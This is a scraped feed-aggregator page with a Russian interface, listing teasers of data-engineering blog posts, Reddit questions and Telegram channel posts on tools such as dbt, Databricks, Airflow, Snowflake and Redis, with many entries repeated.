dbt Core v1.0.0 has arrived. This major milestone enables users with production-grade workflows to safely and reliably build on top of dbt Core for years to come. Take a look at how we got here, and what's next for dbt.

9 месяцев, 3 недели назад @ blog.getdbt.com
NEW dbt Learn courses & badging now available!
NEW dbt Learn courses & badging now available! NEW dbt Learn courses & badging now available!

dbt Labs now offers five free courses for the emerging analytics engineer. Those new to dbt will find everything they need to get started (and badged!) in our dbt Learn Fundamentals course, while seasoned users can go deeper on topics like macros, materializations, and project refactoring.

9 месяцев, 3 недели назад @ blog.getdbt.com
DataBricks DataBricks
последний пост 1 месяц назад
Restricting Libraries in JVM Compute Platforms
Restricting Libraries in JVM Compute Platforms

Security challenges with Scala and Java libraries Open source communities have built incredibly useful libraries. They simplify many common development scenarios. Through our…

The post Restricting Libraries in JVM Compute Platforms appeared first on Databricks.

1 месяц назад @ databricks.com
Databricks Expands Brickbuilder Solutions for Healthcare and Life Sciences
Databricks Expands Brickbuilder Solutions for Healthcare and Life Sciences Databricks Expands Brickbuilder Solutions for Healthcare and Life Sciences

Today, we’re excited to announce that Databricks has collaborated with Avanade, Deloitte, and ZS to expand Brickbuilder Solutions for healthcare and life sciences.…

The post Databricks Expands Brickbuilder Solutions for Healthcare and Life Sciences appeared first on Databricks.

1 месяц назад @ databricks.com
Parsing Improperly Formatted JSON Objects in the Databricks Lakehouse
Parsing Improperly Formatted JSON Objects in the Databricks Lakehouse Parsing Improperly Formatted JSON Objects in the Databricks Lakehouse

Introduction When working with files, there may be processes generated by custom APIs or applications that cause more than one JSON object to…

The post Parsing Improperly Formatted JSON Objects in the Databricks Lakehouse appeared first on Databricks.

1 месяц, 2 недели назад @ databricks.com
Optimizing Order Picking to Increase Omnichannel Profitability with Databricks
Optimizing Order Picking to Increase Omnichannel Profitability with Databricks Optimizing Order Picking to Increase Omnichannel Profitability with Databricks

Check our new Order Picking Optimization Solution Accelerator for more details and to download the notebooks. Demand for buy-online pickup in-store (BOPIS), curbside…

The post Optimizing Order Picking to Increase Omnichannel Profitability with Databricks appeared first on Databricks.

1 месяц, 3 недели назад @ databricks.com
Optimizing Order Picking to Increase Omnichannel Profitability with Databricks
Optimizing Order Picking to Increase Omnichannel Profitability with Databricks Optimizing Order Picking to Increase Omnichannel Profitability with Databricks

Check our new Order Picking Optimization Solution Accelerator for more details and to download the notebooks. Demand for buy-online pickup in-store (BOPIS), curbside…

The post Optimizing Order Picking to Increase Omnichannel Profitability with Databricks appeared first on Databricks.

1 месяц, 3 недели назад @ databricks.com
Power to the SQL People: Introducing Python UDFs in Databricks SQL
Power to the SQL People: Introducing Python UDFs in Databricks SQL

We were thrilled to announce the preview for Python User-Defined Functions (UDFs) in Databricks SQL (DBSQL) at last month’s Data and AI Summit.…

The post Power to the SQL People: Introducing Python UDFs in Databricks SQL appeared first on Databricks.

2 месяца назад @ databricks.com
Parallel ML: How Compass Built a Framework for Training Many Machine Learning Models on Databricks
Parallel ML: How Compass Built a Framework for Training Many Machine Learning Models on Databricks Parallel ML: How Compass Built a Framework for Training Many Machine Learning Models on Databricks

This is a collaborative post from Databricks and Compass. We thank Sujoy Dutta, Senior Machine Learning Engineer at Compass, for his contributions. …

The post Parallel ML: How Compass Built a Framework for Training Many Machine Learning Models on Databricks appeared first on Databricks.

2 месяца, 1 неделя назад @ databricks.com
Parallel ML: How Compass Built a Framework for Training Many Machine Learning Models on Databricks
Parallel ML: How Compass Built a Framework for Training Many Machine Learning Models on Databricks Parallel ML: How Compass Built a Framework for Training Many Machine Learning Models on Databricks

This is a collaborative post from Databricks and Compass. We thank Sujoy Dutta, Senior Machine Learning Engineer at Compass, for his contributions. …

The post Parallel ML: How Compass Built a Framework for Training Many Machine Learning Models on Databricks appeared first on Databricks.

2 месяца, 1 неделя назад @ databricks.com
Hunting for IOCs Without Knowing Table Names or Field Labels
Hunting for IOCs Without Knowing Table Names or Field Labels

There is a breach! You are an infosec incident responder and you get called in to investigate. You show up and start asking…

The post Hunting for IOCs Without Knowing Table Names or Field Labels appeared first on Databricks.

2 месяца, 1 неделя назад @ databricks.com
Hunting for IOCs Without Knowing Table Names or Field Labels
Hunting for IOCs Without Knowing Table Names or Field Labels

There is a breach! You are an infosec incident responder and you get called in to investigate. You show up and start asking…

The post Hunting for IOCs Without Knowing Table Names or Field Labels appeared first on Databricks.

2 месяца, 1 неделя назад @ databricks.com
Introducing Spark Connect – The Power of Apache Spark, Everywhere
Introducing Spark Connect – The Power of Apache Spark, Everywhere Introducing Spark Connect – The Power of Apache Spark, Everywhere

At last week’s Data and AI Summit, we highlighted a new project called Spark Connect in the opening keynote. This blog post walks…

The post Introducing Spark Connect – The Power of Apache Spark, Everywhere appeared first on Databricks.

2 месяца, 3 недели назад @ databricks.com
Introducing Spark Connect – The Power of Apache Spark, Everywhere
Introducing Spark Connect – The Power of Apache Spark, Everywhere Introducing Spark Connect – The Power of Apache Spark, Everywhere

At last week’s Data and AI Summit, we highlighted a new project called Spark Connect in the opening keynote. This blog post walks…

The post Introducing Spark Connect – The Power of Apache Spark, Everywhere appeared first on Databricks.

2 месяца, 3 недели назад @ databricks.com
Designing a Java Connector for Delta Sharing Recipient
Designing a Java Connector for Delta Sharing Recipient Designing a Java Connector for Delta Sharing Recipient

Making an open data marketplace Stepping into this brave new digital world we are certain that data will be a central product for…

The post Designing a Java Connector for Delta Sharing Recipient appeared first on Databricks.

2 месяца, 4 недели назад @ databricks.com
Designing a Java Connector for Delta Sharing Recipient
Designing a Java Connector for Delta Sharing Recipient Designing a Java Connector for Delta Sharing Recipient

Making an open data marketplace Stepping into this brave new digital world we are certain that data will be a central product for…

The post Designing a Java Connector for Delta Sharing Recipient appeared first on Databricks.

2 месяца, 4 недели назад @ databricks.com
Introducing MLflow Pipelines with MLflow 2.0
Introducing MLflow Pipelines with MLflow 2.0 Introducing MLflow Pipelines with MLflow 2.0

Since we launched MLflow in 2018, MLflow has become the most popular MLOps framework, with over 11M monthly downloads! Today, teams of all…

The post Introducing MLflow Pipelines with MLflow 2.0 appeared first on Databricks.

2 месяца, 4 недели назад @ databricks.com
Mix
/r/DataEngineering
последний пост 2 часа назад
Handle millions of HTML files
Handle millions of HTML files

Hello! So, recently I built a massive webscrapper in the Google Cloud. I basically stored around 2 million records in the raw format: HTML. But now I simply don't know how to handle 2 million of this files. When I zip 200k in a folder, my computer seems like it's bursting into flames (note: I actually have them all, but doing from 100k records each - don't recommend hehe). If they were a JSON, I'd probably rely on Snowflake (as they are zipped in a single location in a GCP bucket). Any ideas or tools that may help me to keep it duable? submitted by /u/thiagobellotto [link] [comments]

2 часа назад @ reddit.com
Data Ingestion from Tiny API
Data Ingestion from Tiny API

I’ve got a problem that I’ve hit a wall on. I’m looking to pull from an API that has a 20 request/sec/IP limit that does not support any form of batched requests. There is an expectation to support calling to this API in a batches fashion for up to 500k requests/run and possibly multiple runs a day but starting with one. Each request averages around 2-2.5 seconds. I was looking to scale my calls using lambda functions to help with the IP limitation, but have hit a concurrency limitation only allowing 10 instances to be active at once. Any ideas on where to go from here? submitted by /u/ItsJarBear [link] [comments]

4 часа назад @ reddit.com
Snowflake Cost
Snowflake Cost

My company is exploring Snowflake for a cloud data warehouse option / POC. The initial quote is $2.70 per compute credit and $23 per TB of storage. Obviously the compute will be the larger cost to mitigate, but I was curious what others in this sub are paying per credit? For general reference, we're a fortune 500 company who currently spends a few million USD each year in data warehousing expenses and process 15-20TB of data a week. submitted by /u/von_Bob [link] [comments]

4 часа назад @ reddit.com
dbt cli documentation - best way to go about it and share to my organization?
dbt cli documentation - best way to go about it and share to my organization?

I am not going to use dbt cloud, rather dbt cli. Considering this, what is the best / cheapest way to serve up documentation that I will be writing in the .yml files for my models? I ask because when I run db docs generate, dbt docs serve - it pushes to localhost. But I am not going to just like host a webpage for all my internal users to go to ? Or am I missing something. ​ In short, whats the best free/chepeast way to surface dbt documentation to others when using cli? submitted by /u/be_nice_if_u_can [link] [comments]

6 часов назад @ reddit.com
Best way to show my graphs made by seaborn and wordcloud
Best way to show my graphs made by seaborn and wordcloud

Hello! I have made some graphs that show the most frequent words in a subreddit, and I want to plot them in web or github, the data is updated DAILY, could you recommend me some library or framework to accomplish this? submitted by /u/ArturoMtz8 [link] [comments]

7 часов назад @ reddit.com
Managing Data Culture after Snowflake Migration
Managing Data Culture after Snowflake Migration

Hey All, Just wanted to pose a quick question to the community and see how you all have handled this situation in the past. Currently, at my company, we manage a SQL Server instance for all of the businesses needs on reporting and data. ALL of our data goes into it, from all of our applications. The business has lots of spreadsheets connected to the server that users refresh fairly frequently, often pulling excessive amounts of data since they can't be bothered to build an Excel workbook properly. Additionally, we have a Tableau server that is connected to the SQL Server that pulls data at designated intervals for refreshing. All-in-all there is a lot of unnecessary data pulling going on th…

9 часов назад @ reddit.com
Databricks Data Engineer Professional compared to Data Engineer Associate Certification
Databricks Data Engineer Professional compared to Data Engineer Associate Certification

A couple weeks ago I was able to pass the Databricks Data Engineer Associate certification. I am planning on studying and going after the Data Engineer Professional next. I was curious how the exams compare to one another. Also, any areas that I should make sure that I am familiar with and any study materials that would be helpful. submitted by /u/jflas16 [link] [comments]

9 часов назад @ reddit.com
What’s the most efficient way to generate cohorts based off of E-commerce data
What’s the most efficient way to generate cohorts based off of E-commerce data

I have a fairly large Hive table with one row per order (which stores User ID, ID of store). I’d like to create customizable cohorts for every single store where stores can provide their own parameters to customize the cohorts. I’d like to generate these cohorts every single day so I can measure cohorts over time. I’m concerned that doing this would require me to run one query per store/cohort type every single day. I’m thinking of using Spark for loading this table in memory for faster processing and then outputting it into a Hive table. Any advice on doing this efficiently? submitted by /u/Agentdoubleo97 [link] [comments]

11 часов назад @ reddit.com
Airflow Docker Error while running Dag Files
Airflow Docker Error while running Dag Files

​ 82375789396g *** Log file does not exist: /opt/airflow/logs/dag_id=121my_api/run_id=manual__2022-09-26T15:27:18.308736+00:00/task_id=my_api_task_id_unique/attempt=1.log *** Fetching from: http://1f2b92542745:8793/dag_id=121my_api/run_id=manual__2022-09-26T15:27:18.308736+00:00/task_id=my_api_task_id_unique/attempt=1.log *** !!!! Please make sure that all your Airflow components (e.g. schedulers, webservers and workers) have the same 'secret_key' configured in 'webserver' section and time is synchronized on all your machines (for example with ntpd) !!!!! ****** See more at https://airflow.apache.org/docs/apache-airflow/stable/configurations-ref.html#secret-key ****** Failed to fetch log fi…

11 часов назад @ reddit.com
access to tables that ingest data from Kafka streams
access to tables that ingest data from Kafka streams

What is your stance on giving access to tables that are the targets of Kafka streams? Do you give access to analysts? Enabling them to do adhoc queries ... or do you not and then stage that data to a replicated table and let the user ad hoc query the replicated table all day? submitted by /u/Imaginary-Ad2828 [link] [comments]

12 часов назад @ reddit.com
Data-Centric AI Summit
Data-Centric AI Summit Data-Centric AI Summit

Data-Centric AI Summit is here. On Sept 29-30, we kick off with an incredible lineup of some of the world's best data-focused practitioners and platforms. Grab your seat now. It’s FREE and online. We’ll see you at the show. https://datacentricaisummit.com/?utm_source=dcai&utm_medium=slack&utm_campaign=dcai-summit https://preview.redd.it/rbpf0asb38q91.png?width=1200&format=png&auto=webp&s=1ab295aa5af820275fa348ae0ff5fc905b262e91 submitted by /u/matosmarta [link] [comments]

12 часов назад @ reddit.com
Projects from beginner to advanced
Projects from beginner to advanced

Hi, ​ I'm new to data engineering with sufficient knowledge in Python and SQL. I wanted to start working on projects rather because I learn by doing. Is there any place I can find the list of projects from beginner to advanced? As I'm still a beginner, any hints on how to work on the projects will also be helpful submitted by /u/naruzum [link] [comments]

14 часов назад @ reddit.com
Data Engineering Concepts: Definitions, Backlinks, and Graph View
Data Engineering Concepts: Definitions, Backlinks, and Graph View

If you are like me and daily confused about new terms in data engineering, I started a Data Engineering Concept page. You can click on each of them, dig into details, and learn more about related concepts (everything is open on GitHub). Data Engineering is still not well defined; However, in the latest book on Fundamentals of Data Engineering by Joe Reis, Matthew Housley tries and does probably best as of today, and it's getting clearer. Besides several boot camps, universities are starting to get a degree in Data Engineering as Data Science did before. Data Engineering is a discipline that has shifted over the years from a Database Administrator (DBA), ETL Developer, and Business Intellige…

14 часов назад @ reddit.com
Beyond Hard Drives: The New Ways We're Storing MASSIVE Amounts Of Data...
Beyond Hard Drives: The New Ways We're Storing MASSIVE Amounts Of Data... Beyond Hard Drives: The New Ways We're Storing MASSIVE Amounts Of Data...

submitted by /u/Digitallifeworks [link] [comments]

18 часов назад @ reddit.com
Data Engineer at Atlassian
Data Engineer at Atlassian

Hi. Can anyone share their interview experience at Atlassian for DE role. I tried to find questions and process but didn't found any relevant details for DE role. submitted by /u/believer_369 [link] [comments]

18 часов назад @ reddit.com
Towards Data Science
последний пост 33 минуты назад
10 Less-Known Python Visualization Concepts and Hacks
10 Less-Known Python Visualization Concepts and Hacks 10 Less-Known Python Visualization Concepts and Hacks

Add to your exploratory data analysis arsenalContinue reading on Towards Data Science »

33 минуты назад @ towardsdatascience.com
Simple Logistic Regression for Dichotomous Variables in R
Simple Logistic Regression for Dichotomous Variables in R Simple Logistic Regression for Dichotomous Variables in R

Statistics in R SeriesContinue reading on Towards Data Science »

1 час назад @ towardsdatascience.com
Dispelling Stereotypes Of Digitalization and Data Analytics
Dispelling Stereotypes Of Digitalization and Data Analytics Dispelling Stereotypes Of Digitalization and Data Analytics

7 misconceptions that businesses suffer fromImage source: https://unsplash.com/photos/pREq0ns_p_E?utm_source=unsplash&utm_medium=referral&utm_content=creditShareLinkIn this article, I would like to explore in more detail the top seven data analytics and digitalization misconceptions most businesses suffer from. Let’s dig in!Unfortunately, a portion of companies in the market still considers “digital transformation,” “big data,” and “business analytics” merely as fancy words. Some underestimate their influence, and some overestimate it. As a result, companies come across serious issues. Largely such a state of affairs is connected to a misunderstanding of the essence of the digitalization pr…

1 час назад @ towardsdatascience.com
Identifying Goalkeepers’ Build-Up Style Using Machine Learning
Identifying Goalkeepers’ Build-Up Style Using Machine Learning Identifying Goalkeepers’ Build-Up Style Using Machine Learning

Clustering Algorithm for Football AnalyticsContinue reading on Towards Data Science »

1 час назад @ towardsdatascience.com
Microsoft Power BI — From Data Modelling to Stunning Reports
Microsoft Power BI — From Data Modelling to Stunning Reports Microsoft Power BI — From Data Modelling to Stunning Reports

What can this visualization tool do for you?Continue reading on Towards Data Science »

7 часов назад @ towardsdatascience.com
CLIP: The Most Influential AI Model From OpenAI— And How To Use It
CLIP: The Most Influential AI Model From OpenAI— And How To Use It CLIP: The Most Influential AI Model From OpenAI— And How To Use It

Find out how the model works and why it’s fun to useContinue reading on Towards Data Science »

7 часов назад @ towardsdatascience.com
Automate PowerPoint Slides Creation with Python
Automate PowerPoint Slides Creation with Python Automate PowerPoint Slides Creation with Python

Boost your Productivity with an Automated Tool for the Creation of Supply Chain Operational PowerPoint Reports with PythonPhoto by Nghia Nguyen on UnsplashScenarioYou are a distribution planning manager in the logistics department of a fashion retail company.To perform analysis, you connect to the warehouse management system to extract and process data using an automated tool built with Python.However, you have to spend time manually putting these visuals in slides for your weekly operational reviews.ObjectiveIn this article, we will build a solution to automatically create PowerPoint slides with visuals and comments.Problem StatementScenarioYou are part of the distribution planning team of…

7 часов назад @ towardsdatascience.com
Does my new central heating boiler help with these crazy high gas prices?
Does my new central heating boiler help with these crazy high gas prices? Does my new central heating boiler help with these crazy high gas prices?

Where we use linear regression with interactions to benchmark the performance of my new central heating boiler in an energy crisisIntroductionWith the conflict raging in Eastern Europe, one of the side-effects is skyrocketing energy prices. My gas prices easily quadrupled since the start of the year, so like a good nerd type data scientist I started to study my energy usage data to assuage my worries. Luckily, my energy provider allowed me to download daily gas usage data for the last few years. One of the first things that struck me was that our gas usage this year was lower than I expected based on the previous years. One of the prime suspects that could cause this was the installation of…

7 часов назад @ towardsdatascience.com
An Equation for Intelligence
An Equation for Intelligence An Equation for Intelligence

From Francois Chollet: “On the Measure of Intelligence”Continue reading on Towards Data Science »

8 часов назад @ towardsdatascience.com
4 Ways I’m Using Data Science Skills to Generate Income From Side Hustles
4 Ways I’m Using Data Science Skills to Generate Income From Side Hustles 4 Ways I’m Using Data Science Skills to Generate Income From Side Hustles

Using your passion to build multiple revenue streamsContinue reading on Towards Data Science »

8 часов назад @ towardsdatascience.com
Transcribe audio files with OpenAI’s Whisper
Transcribe audio files with OpenAI’s Whisper Transcribe audio files with OpenAI’s Whisper

Transcription of audio files with OpenAI’s WhisperContinue reading on Towards Data Science »

8 часов назад @ towardsdatascience.com
Statistical Comparison Among Multiple Groups With ANOVA
Statistical Comparison Among Multiple Groups With ANOVA Statistical Comparison Among Multiple Groups With ANOVA

Are You Thinking How to Compare Among the Multiple Groups? No Worries! Just Use ANOVAContinue reading on Towards Data Science »

9 часов назад @ towardsdatascience.com
How to Visualise Causal Inference Models with Interactive Directed Acyclic Graphs
How to Visualise Causal Inference Models with Interactive Directed Acyclic Graphs How to Visualise Causal Inference Models with Interactive Directed Acyclic Graphs

How to generate interactive Directed Acyclic Graphs to visualise and understand causal inference models in 1 line of Python codeContinue reading on Towards Data Science »

9 часов назад @ towardsdatascience.com
The Mindset Technique to Understand Precision and Recall Like Never Before
The Mindset Technique to Understand Precision and Recall Like Never Before The Mindset Technique to Understand Precision and Recall Like Never Before

Precision and Recall elaborated with sample situationsPhoto by Afif Kusuma on Unsplash· Introduction· Precision and Recall· Precision ∘ Understanding the Precision Mindset· Recall ∘ Understanding the Recall Mindset· Precision vs Recall· ConclusionIntroductionUtilizing the right set of evaluation metrics to estimate the performance of a data-driven classification model holds immense importance in building and delivering a reliable machine learning solution/product.As the name suggests, classification models are a category of machine learning algorithms specifically designed to predict the correct class for a given input.Classification Overview (Image by Author)Right off the bat, the first pe…

9 часов назад @ towardsdatascience.com
Reinforcement Learning (RL) — What Is It and How Does It Work?
Reinforcement Learning (RL) — What Is It and How Does It Work? Reinforcement Learning (RL) — What Is It and How Does It Work?

A gentle introduction to Reinforcement Learning with a clear explanation of concepts and terminologyContinue reading on Towards Data Science »

9 часов назад @ towardsdatascience.com
Monte Carlo Data Monte Carlo Data
последний пост 4 дня, 5 часов назад
How Dr. Squatch Keeps Data Clean & Fresh with Monte Carlo
How Dr. Squatch Keeps Data Clean & Fresh with Monte Carlo How Dr. Squatch Keeps Data Clean & Fresh with Monte Carlo

Data observability helps the groundbreaking men’s personal care product company maintain excellent data hygiene.

4 дня, 5 часов назад @ montecarlodata.com
Big Data (Quality), Small Data Team: How Prefect Saved 20 Hours Per Week with Data Observability
Big Data (Quality), Small Data Team: How Prefect Saved 20 Hours Per Week with Data Observability Big Data (Quality), Small Data Team: How Prefect Saved 20 Hours Per Week with Data Observability

Learn how Dylan Hughes and Prefect’s lean data team kept data reliability high and costs low with Monte Carlo.

6 дней, 4 часа назад @ montecarlodata.com
Quartz Ranks Monte Carlo As Third Best Medium-Sized Company For Remote Workers
Quartz Ranks Monte Carlo As Third Best Medium-Sized Company For Remote Workers Quartz Ranks Monte Carlo As Third Best Medium-Sized Company For Remote Workers

Monte Carlo one of 83 companies honored by the global business publication.

1 неделя, 5 дней назад @ montecarlodata.com
5 Predictions for the (Not So) Modern Data Stack
5 Predictions for the (Not So) Modern Data Stack 5 Predictions for the (Not So) Modern Data Stack

Maxime Beauchemin, the godfather of data engineering, shares his predictions for the future of the modern data stack.

1 неделя, 6 дней назад @ montecarlodata.com
How to Make Data Anomaly Resolution Less Cartoonish
How to Make Data Anomaly Resolution Less Cartoonish How to Make Data Anomaly Resolution Less Cartoonish

Fixing broken data doesn’t have to be a game of whack-a-mole. Here’s how to speed up your data incident resolution and root cause analysis.

2 недели, 5 дней назад @ montecarlodata.com
New Feature Recap: Data Lakehouse Support, Anomalous Row Distribution Monitors, and More!
New Feature Recap: Data Lakehouse Support, Anomalous Row Distribution Monitors, and More! New Feature Recap: Data Lakehouse Support, Anomalous Row Distribution Monitors, and More!

Highlighting Monte Carlo's latest product releases, including data lakehouse support, and anomalous row distribution monitors.

2 недели, 6 дней назад @ montecarlodata.com
You Can’t Out-Architect Bad Data
You Can’t Out-Architect Bad Data You Can’t Out-Architect Bad Data

Even with the most well-designed data platforms, systems will break. Without some measure of observability, you’re playing with fire.

2 недели, 6 дней назад @ montecarlodata.com
5 Ways To Ensure High Functioning Data Engineering Teams
5 Ways To Ensure High Functioning Data Engineering Teams 5 Ways To Ensure High Functioning Data Engineering Teams

5 strategies for leading productive data teams and doing meaningful work.

3 недели, 4 дня назад @ montecarlodata.com
Data Anomaly Monitoring – You’re Doing It Wrong
Data Anomaly Monitoring – You’re Doing It Wrong Data Anomaly Monitoring – You’re Doing It Wrong

Monitoring just your “important” data only gets you so far. Here’s a better approach.

4 недели назад @ montecarlodata.com
Just What IS Data Discovery?
Just What IS Data Discovery? Just What IS Data Discovery?

Data discovery is about surfacing relevant context and metadata across data sets so they can be easily found and effectively used by your organization.

4 недели назад @ montecarlodata.com
5 Steps to Scaling Data Observability with Monte Carlo
5 Steps to Scaling Data Observability with Monte Carlo 5 Steps to Scaling Data Observability with Monte Carlo

Driving early value with your new data observability platform doesn't have to be difficult. We share 5 tips for driving immediate impact at scale.

1 месяц назад @ montecarlodata.com
Daniel Kahneman and Nate Silver to Headline IMPACT: The Data Observability Summit
Daniel Kahneman and Nate Silver to Headline IMPACT: The Data Observability Summit Daniel Kahneman and Nate Silver to Headline IMPACT: The Data Observability Summit

Other speakers include the CEOs and co-founders of Databricks, Confluent, and dbt Labs, as well as leaders at The New York Times, Fox, and Roche.

1 месяц назад @ montecarlodata.com
How to Build Data Products Your Company Will Actually Use
How to Build Data Products Your Company Will Actually Use How to Build Data Products Your Company Will Actually Use

It takes more than a pretty dashboard to become data-driven. Afua Bruce, former Chief Program Officer at DataKind, shares how.

1 месяц назад @ montecarlodata.com
A Data Engineer’s Guide to Building Reliable Systems
A Data Engineer’s Guide to Building Reliable Systems A Data Engineer’s Guide to Building Reliable Systems

Over the years, I’ve helped companies of all sizes build and maintain data systems—from my days as a data engineer at Facebook to my current role as an end-to-end data solutions consultant. As a YouTuber and blogger, I’ve connected with data engineers from all over the world. And these days, everyone seems to share a […]

1 месяц, 1 неделя назад @ montecarlodata.com
A Data Engineer’s Guide to Building Reliable Systems
A Data Engineer’s Guide to Building Reliable Systems A Data Engineer’s Guide to Building Reliable Systems

Over the years, I’ve helped companies of all sizes build and maintain data systems—from my days as a data engineer at Facebook to my current role as an end-to-end data solutions consultant. As a YouTuber and blogger, I’ve connected with data engineers from all over the world. And these days, everyone seems to share a […]

1 месяц, 1 неделя назад @ montecarlodata.com
DE Telegram
DataEng DataEng
последний пост 1 неделя назад
Вышел релиз Airflow 2.4: https://bit.ly/3eUmC57Много всяких плюшек о которых подготовлю отдельный пост и обновлю контент курса 🎉
Вышел релиз Airflow 2.4: https://bit.ly/3eUmC57Много всяких плюшек о которых подготовлю отдельный пост и обновлю контент курса 🎉

Вышел релиз Airflow 2.4: https://bit.ly/3eUmC57Много всяких плюшек о которых подготовлю отдельный пост и обновлю контент курса 🎉

1 неделя назад @ t.me
#article #ethereum Exporting the full history of Ethereum into S3https://medium.com/@tony.bryzgaloff/how-to-dump-full-ethereum-history-to-s3-296fb3ad175 (author: @bryzgaloff)What's inside:— BigQuery public datasets with Ethereum data: how to transfer to S3
#article #ethereum Exporting the full history of Ethereum into S3https://medium.com/@tony.bryzgaloff/how-to-dump-full-ethereum-history-to-s3-296fb3ad175 (author: @bryzgaloff)What's inside:— BigQuery public datasets with Ethereum data: how to transfer to S3

#article #ethereum Exporting the full history of Ethereum into S3https://medium.com/@tony.bryzgaloff/how-to-dump-full-ethereum-history-to-s3-296fb3ad175 (author: @bryzgaloff)What's inside:— BigQuery public datasets with Ethereum data: how to transfer to S3 quickly.— Alternative approach: exporting data from a public Ethereum node. No need to run your own node!— Processing uint256 with AWS Athena.— Processing realtime updates from Ethereum.— Best Data Engineering practices to process Ethereum data.A short summary inside 👇

1 неделя, 3 дня назад @ t.me
Прошлый пост касался архитектуры Redis, а сейчас предлагаю вам познакомиться с кишками memcached: https://bit.ly/3czb6eQЛет 5-6 назад я был активным пользователем memcached, использовал его во всех проектах как основной кэш-бэкенд, но с бурным развитием Re
Прошлый пост касался архитектуры Redis, а сейчас предлагаю вам познакомиться с кишками memcached: https://bit.ly/3czb6eQЛет 5-6 назад я был активным пользователем memcached, использовал его во всех проектах как основной кэш-бэкенд, но с бурным развитием Re

Прошлый пост касался архитектуры Redis, а сейчас предлагаю вам познакомиться с кишками memcached: https://bit.ly/3czb6eQЛет 5-6 назад я был активным пользователем memcached, использовал его во всех проектах как основной кэш-бэкенд, но с бурным развитием Redis я переключился на него. Тем не менее, memcached поддерживается (последняя версия вышла 26 августа 2022 года), видео считаю очень полезным (как и канал автора в целом).

3 недели, 6 дней назад @ t.me
Как работает Redis? Узнать можно тут: https://bit.ly/3pIbA5b
Как работает Redis? Узнать можно тут: https://bit.ly/3pIbA5b

Как работает Redis? Узнать можно тут: https://bit.ly/3pIbA5b

1 месяц назад @ t.me
https://youtu.be/wcwW8Rw7kEY
https://youtu.be/wcwW8Rw7kEY

https://youtu.be/wcwW8Rw7kEY

1 месяц, 1 неделя назад @ t.me
Wunder Fund: проект для Python разработчика 🔥Мы в wunderfund.io занимаемся высокочастотной торговлей на бирже (HFT) с 2014 года, активно используем машинное обучение. Сейчас мы торгуем на 12 биржах по всему миру и наш дневной оборот больше $4 млрд. И у нас
Wunder Fund: проект для Python разработчика 🔥Мы в wunderfund.io занимаемся высокочастотной торговлей на бирже (HFT) с 2014 года, активно используем машинное обучение. Сейчас мы торгуем на 12 биржах по всему миру и наш дневной оборот больше $4 млрд. И у нас

Wunder Fund: проект для Python разработчика 🔥Мы в wunderfund.io занимаемся высокочастотной торговлей на бирже (HFT) с 2014 года, активно используем машинное обучение. Сейчас мы торгуем на 12 биржах по всему миру и наш дневной оборот больше $4 млрд. И у нас много данных.Ищем Питон-разработчиков в команду:🛠 Вы будете разрабатывать парсеры биржевых данных и программы для надежного их сохранения. Будете развивать автоматический пайплайн ежедневной обработки этих сохраненных данных.👺 Идеальный человек хорошо знает Python. Круто, если ты уже строил пайплайны на Luigi/Airflow/etc и выкатывал их продакшн, работал с облачными платформами.👾 У нас сильная команда и развитая инженерная культура. Вот не…

1 месяц, 2 недели назад @ t.me
​​Исследование о виртуализации данныхВозможно, вы слышали что-нибудь о Data Mesh и Логических Хранилищах Данных? Denodo проводит исследование, направленное на изучение опыта использования систем виртуализации в России. Пройдите короткий опрос по ссылке и п
​​Исследование о виртуализации данныхВозможно, вы слышали что-нибудь о Data Mesh и Логических Хранилищах Данных? Denodo проводит исследование, направленное на изучение опыта использования систем виртуализации в России. Пройдите короткий опрос по ссылке и п

​​Исследование о виртуализации данныхВозможно, вы слышали что-нибудь о Data Mesh и Логических Хранилищах Данных? Denodo проводит исследование, направленное на изучение опыта использования систем виртуализации в России. Пройдите короткий опрос по ссылке и получите доступ к материалам про виртуализацию. В библиотеке:• технический документ, в котором рассматриваются цели интеграции, приводятся недостатки традиционных решений и раскрыты 10 ключевых фактов о виртуализации как ключевого метода, позволяющего успешно выполнять оперативную интеграцию информации из разных источников.• Кейс крупной розничной сети Albertsons, которая запустила расширенную программу анализа данных клиентов и благодаря п…

1 месяц, 2 недели назад @ t.me
При принятии решений в ручном режиме риск убытков возрастет до 60%. Это связано с ошибочными действиями, мошенничеством сотрудников или неправильной организацией бизнес-процессов. В результате снижается качество клиентского сервиса, возникают трудности с м
При принятии решений в ручном режиме риск убытков возрастет до 60%. Это связано с ошибочными действиями, мошенничеством сотрудников или неправильной организацией бизнес-процессов. В результате снижается качество клиентского сервиса, возникают трудности с м При принятии решений в ручном режиме риск убытков возрастет до 60%. Это связано с ошибочными действиями, мошенничеством сотрудников или неправильной организацией бизнес-процессов. В результате снижается качество клиентского сервиса, возникают трудности с м

При принятии решений в ручном режиме риск убытков возрастет до 60%. Это связано с ошибочными действиями, мошенничеством сотрудников или неправильной организацией бизнес-процессов. В результате снижается качество клиентского сервиса, возникают трудности с масштабированием бизнеса.Автоматизированная система поддержки решений Loginom Decision Maker анализирует и структурирует большие массивы данных и представляет их в удобном для принятия решений виде. Готовая система используется в качестве основы кредитного конвейера, проверки контрагентов, формирования рейтинга поставщиков, анализа единого профиля клиентов и других процессов.Преимущества Loginom Decision Maker:⚡️Формализация процесса принят…

1 месяц, 2 недели назад @ t.me
На канале IT's Tinkoff появились видео с их конференции:— Как мы строим Metadata Management— Под капотом каталога данных— Как с помощью Data Mesh разломать ваше DWH— Data-docs — как найти данные о данныхEnjoy! ☀️
На канале IT's Tinkoff появились видео с их конференции:— Как мы строим Metadata Management— Под капотом каталога данных— Как с помощью Data Mesh разломать ваше DWH— Data-docs — как найти данные о данныхEnjoy! ☀️

На канале IT's Tinkoff появились видео с их конференции:— Как мы строим Metadata Management— Под капотом каталога данных— Как с помощью Data Mesh разломать ваше DWH— Data-docs — как найти данные о данныхEnjoy! ☀️

1 месяц, 2 недели назад @ t.me
SmartData от JUG Ru Group возвращается!Конференция для дата-инженеров пройдет уже в октябре. Вы можете стать ее спикером. Если у вас есть интересные кейсы или вы хотите поделиться опытом решения нетривиальных задач — подавайте заявку на участие. Вы подтвер
SmartData от JUG Ru Group возвращается!Конференция для дата-инженеров пройдет уже в октябре. Вы можете стать ее спикером. Если у вас есть интересные кейсы или вы хотите поделиться опытом решения нетривиальных задач — подавайте заявку на участие. Вы подтвер SmartData от JUG Ru Group возвращается!Конференция для дата-инженеров пройдет уже в октябре. Вы можете стать ее спикером. Если у вас есть интересные кейсы или вы хотите поделиться опытом решения нетривиальных задач — подавайте заявку на участие. Вы подтвер

